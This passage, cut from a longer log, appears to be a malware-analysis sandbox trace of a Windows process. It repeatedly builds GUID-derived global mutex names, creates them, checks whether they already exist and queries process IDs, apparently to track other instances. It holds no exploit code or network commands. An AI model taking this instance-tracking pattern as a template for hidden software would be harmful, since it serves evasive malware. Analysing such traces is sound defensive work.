lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0129.168] GetLastError () returned 0xb7 [0129.168] CloseHandle (hObject=0x6cc) returned 1 [0129.168] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0129.168] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0129.168] GetLastError () returned 0x0 [0129.168] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0129.168] CloseHandle (hObject=0x6cc) returned 1 [0129.175] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0129.175] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0129.175] GetLastError () returned 0xb7 [0129.175] CloseHandle (hObject=0x6cc) returned 1 [0129.291] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0129.291] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0129.291] GetLastError () returned 0xb7 [0129.291] CloseHandle (hObject=0x6cc) returned 1 [0129.291] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0129.291] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0129.291] GetLastError () returned 0xb7 [0129.291] CloseHandle (hObject=0x6cc) returned 1 [0129.292] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0129.292] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0129.292] GetLastError () returned 0x0 [0129.292] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0129.292] CloseHandle (hObject=0x6cc) returned 1 [0129.292] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0129.292] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0129.292] GetLastError () returned 0x0 [0129.292] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0129.292] CloseHandle (hObject=0x6cc) returned 1 [0129.293] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0129.293] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0129.293] GetLastError () returned 0xb7 [0129.293] CloseHandle (hObject=0x6cc) returned 1 [0129.293] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0129.293] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0129.293] GetLastError () returned 0x0 [0129.293] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0129.293] CloseHandle (hObject=0x6cc) returned 1 [0129.301] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0129.301] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0129.301] GetLastError () returned 0xb7 [0129.301] CloseHandle (hObject=0x6cc) returned 1 [0129.415] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0129.415] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0129.415] GetLastError () returned 0xb7 [0129.415] CloseHandle (hObject=0x6cc) returned 1 [0129.416] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0129.416] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0129.416] GetLastError () returned 0xb7 [0129.416] CloseHandle (hObject=0x6cc) returned 1 [0129.416] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0129.416] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0129.416] GetLastError () returned 0x0 [0129.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0129.416] CloseHandle (hObject=0x6cc) returned 1 [0129.417] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0129.417] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0129.417] GetLastError () returned 0x0 [0129.417] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0129.417] CloseHandle (hObject=0x6cc) returned 1 [0129.417] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0129.417] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0129.417] GetLastError () returned 0xb7 [0129.417] CloseHandle (hObject=0x6cc) returned 1 [0129.417] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0129.417] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0129.418] GetLastError () returned 0x0 [0129.418] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0129.418] CloseHandle (hObject=0x6cc) returned 1 [0129.424] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0129.425] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0129.425] GetLastError () returned 0xb7 [0129.425] CloseHandle (hObject=0x6cc) returned 1 [0129.525] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0129.525] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0129.525] GetLastError () returned 0xb7 [0129.525] CloseHandle (hObject=0x6cc) returned 1 [0129.525] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0129.526] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0129.526] GetLastError () returned 0xb7 [0129.526] CloseHandle (hObject=0x6cc) returned 1 [0129.526] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0129.526] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0129.526] GetLastError () returned 0x0 [0129.526] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0129.526] CloseHandle (hObject=0x6cc) returned 1 [0129.527] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0129.527] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0129.527] GetLastError () returned 0x0 [0129.527] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0129.527] CloseHandle (hObject=0x6cc) returned 1 [0129.527] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0129.527] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0129.527] GetLastError () returned 0xb7 [0129.527] CloseHandle (hObject=0x6cc) returned 1 [0129.527] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0129.527] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0129.527] GetLastError () returned 0x0 [0129.527] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0129.527] CloseHandle (hObject=0x6cc) returned 1 [0129.535] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0129.535] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0129.535] GetLastError () returned 0xb7 [0129.535] CloseHandle (hObject=0x6cc) returned 1 [0129.650] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0129.650] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0129.650] GetLastError () returned 0xb7 [0129.650] CloseHandle (hObject=0x6cc) returned 1 [0129.650] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0129.650] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0129.650] GetLastError () returned 0xb7 [0129.650] CloseHandle (hObject=0x6cc) returned 1 [0129.651] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0129.651] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0129.651] GetLastError () returned 0x0 [0129.651] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0129.651] CloseHandle (hObject=0x6cc) returned 1 [0129.651] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0129.651] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0129.651] GetLastError () returned 0x0 [0129.651] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0129.651] CloseHandle (hObject=0x6cc) returned 1 [0129.652] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0129.652] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0129.652] GetLastError () returned 0xb7 [0129.652] CloseHandle (hObject=0x6cc) returned 1 [0129.652] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0129.652] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0129.652] GetLastError () returned 0x0 [0129.652] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0129.652] CloseHandle (hObject=0x6cc) returned 1 [0129.660] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0129.660] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0129.660] GetLastError () returned 0xb7 [0129.660] CloseHandle (hObject=0x6cc) returned 1 [0129.758] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0129.759] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0129.759] GetLastError () returned 0xb7 [0129.759] CloseHandle (hObject=0x6cc) returned 1 [0129.759] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0129.759] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0129.759] GetLastError () returned 0xb7 [0129.759] CloseHandle (hObject=0x6cc) returned 1 [0129.760] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0129.760] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0129.760] GetLastError () returned 0x0 [0129.760] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0129.760] CloseHandle (hObject=0x6cc) returned 1 [0129.760] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0129.760] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0129.760] GetLastError () returned 0x0 [0129.760] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0129.760] CloseHandle (hObject=0x6cc) returned 1 [0129.760] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0129.760] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0129.760] GetLastError () returned 0xb7 [0129.760] CloseHandle (hObject=0x6cc) returned 1 [0129.761] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0129.761] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0129.761] GetLastError () returned 0x0 [0129.761] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0129.761] CloseHandle (hObject=0x6cc) returned 1 [0129.768] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0129.768] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0129.768] GetLastError () returned 0xb7 [0129.768] CloseHandle (hObject=0x6cc) returned 1 [0129.883] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0129.883] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0129.883] GetLastError () returned 0xb7 [0129.883] CloseHandle (hObject=0x6cc) returned 1 [0129.884] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0129.884] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0129.884] GetLastError () returned 0xb7 [0129.884] CloseHandle (hObject=0x6cc) returned 1 [0129.884] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0129.884] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0129.884] GetLastError () returned 0x0 [0129.884] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0129.885] CloseHandle (hObject=0x6cc) returned 1 [0129.885] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0129.885] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0129.885] GetLastError () returned 0x0 [0129.885] OpenProcess 